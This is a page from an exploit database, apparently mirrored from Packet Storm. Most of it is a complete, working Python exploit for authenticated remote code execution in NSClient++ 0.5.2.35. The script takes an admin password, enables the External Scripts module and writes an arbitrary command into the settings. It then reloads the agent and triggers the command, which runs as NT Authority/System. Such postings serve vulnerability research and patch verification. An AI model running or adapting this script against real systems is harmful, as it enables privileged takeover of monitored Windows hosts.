Lucene search
K

NSClient++ 0.5.2.35 Authenticated Remote Code Execution

🗓️ 21 Apr 2020 00:00:00Reported by kindredsecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 130 Views

NSClient++ 0.5.2.35 Authenticated Remote Code Execution via NSClient++ Web Applicatio

Code
`# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-04-20  
# Exploit Author: kindredsec  
# Vendor Homepage: https://nsclient.org/  
# Software Link: https://nsclient.org/download/  
# Version: 0.5.2.35  
# Tested on: Microsoft Windows 10 Pro (x64)  
# CVE: N/A  
#  
# NSClient++ is a monitoring agent that has the option to run external scripts.  
# This feature can allow an attacker, given they have credentials, the ability to execute  
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt  
# Default, this leads to privileged code execution.  
  
#!/usr/bin/env python3  
  
import requests  
from bs4 import BeautifulSoup as bs  
import urllib3  
import json  
import sys  
import random  
import string  
import time  
import argparse  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def generateName():  
  
letters = string.ascii_lowercase + string.ascii_uppercase  
return ''.join(random.choice(letters) for i in range(random.randint(8,13)))  
  
def printStatus(message, msg_type):  
  
C_YELLOW = '\033[1;33m'  
C_RESET = '\033[0m'  
C_GREEN = '\033[1;32m'  
C_RED = '\033[1;31m'  
  
if msg_type == "good":  
green_plus = C_GREEN + "[+]" + C_RESET   
string = green_plus + " " + message  
  
elif msg_type == "info":  
yellow_ex = C_YELLOW + "[!]" + C_RESET  
string = yellow_ex + " " + message  
  
elif msg_type == "bad":  
red_minus = C_RED + "[-]" + C_RESET  
string = red_minus + " " + message  
  
print(string)  
  
  
# This function adds a new external script containing the desired  
# command, then saves the configuration  
def configurePayload(session, cmd, key):  
  
printStatus("Configuring Script with Specified Payload . . .", "info")  
endpoint = "/settings/query.json"  
node = { "path" : "/settings/external scripts/scripts",  
"key" : key }   
value = { "string_data" : cmd }  
update = { "node" : node , "value" : value }  
payload = [ { "plugin_id" : "1234",  
"update" : update } ]   
json_data = { "type" : "SettingsRequestMessage", "payload" : payload }  
  
out = session.post(url = base_url + endpoint, json=json_data, verify=False)  
if "STATUS_OK" not in str(out.content):  
printStatus("Error configuring payload. Hit error at: " + endpoint, "bad")  
sys.exit(1)  
  
printStatus("Added External Script (name: " + key + ")", "good")  
time.sleep(3)  
printStatus("Saving Configuration . . .", "info")  
header = { "version" : "1" }  
payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]  
json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }  
  
session.post(url = base_url + endpoint, json=json_data, verify=False)   
  
  
# Since the application needs to be restarted after making changes,  
# this function reloads the application, and waits for it to come back.  
def reloadConfig(session):  
  
printStatus("Reloading Application . . .", "info")  
endpoint = "/core/reload"  
session.get(url = base_url + endpoint, verify=False)  
  
# Wait until the application successfully reloads by making a request  
# every 10 seconds until it responds.  
printStatus("Waiting for Application to reload . . .", "info")  
time.sleep(10)  
response = False  
count = 0   
while not response:  
try:  
out = session.get(url = base_url, verify=False, timeout=10)  
if len(out.content) > 0:  
response = True  
except:  
count += 1  
if count > 10:  
printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")  
sys.exit(1)  
else:  
continue   
  
  
# This function makes the call to the new external script to  
# ultimately execute the code.  
def triggerPayload(session, key):  
  
printStatus("Triggering payload, should execute shortly . . .", "info")  
endpoint = "/query/" + key  
try:  
session.get(url = base_url + endpoint, verify=False, timeout=10)  
except requests.exceptions.ReadTimeout:  
printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")  
sys.exit(0)  
  
  
# Before setting up the exploit, this function makes sure the  
# required feature (External Scripts) is enabled on the application.  
def enableFeature(session):  
  
printStatus("Enabling External Scripts Module . . .", "info")  
endpoint = "/registry/control/module/load"  
params = { "name" : "CheckExternalScripts" }  
out = session.get(url = base_url + endpoint, params=params, verify=False)  
if "STATUS_OK" not in str(out.content):  
printStatus("Error enabling required feature. Hit error at: " + endpoint, "bad")  
sys.exit(1)  
  
  
# This function obtains an authentication token that gets added to all  
# remaining headers.  
def getAuthToken(session):  
  
printStatus("Obtaining Authentication Token . . .", "info")  
endpoint = "/auth/token"  
params = { "password" : password }  
auth = session.get(url = base_url + endpoint, params=params, verify=False)   
if "auth token" in str(auth.content):  
j = json.loads(auth.content)  
authToken = j["auth token"]  
printStatus("Got auth token: " + authToken, "good")  
return authToken  
else:  
printStatus("Error obtaining auth token, is your password correct? Hit error at: " + endpoint, "bad")  
sys.exit(1)  
  
  
  
parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")  
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')  
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')  
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')  
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')  
args = parser.parse_args()  
  
if len(sys.argv) < 4:  
parser.print_help()  
sys.exit(1)  
  
# Build base URL, grab needed arguments  
base_url = "https://" + args.t + ":" + args.P  
printStatus("Targeting base URL " + base_url, "info")  
password = args.p  
cmd = args.c  
  
# Get first auth token, and add it to headers of session  
s = requests.session()  
token = getAuthToken(s)  
s.headers.update({ "TOKEN" : token})  
  
# Generate a random name, enable the feature, add the payload,  
# then reload.  
randKey = generateName()  
enableFeature(s)  
configurePayload(s, cmd, randKey)  
reloadConfig(s)  
  
# Since application was reloaded, need a new auth token.  
token = getAuthToken(s)  
s.headers.update({ "TOKEN" : token})  
  
# Execute our code.  
triggerPayload(s, randKey)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation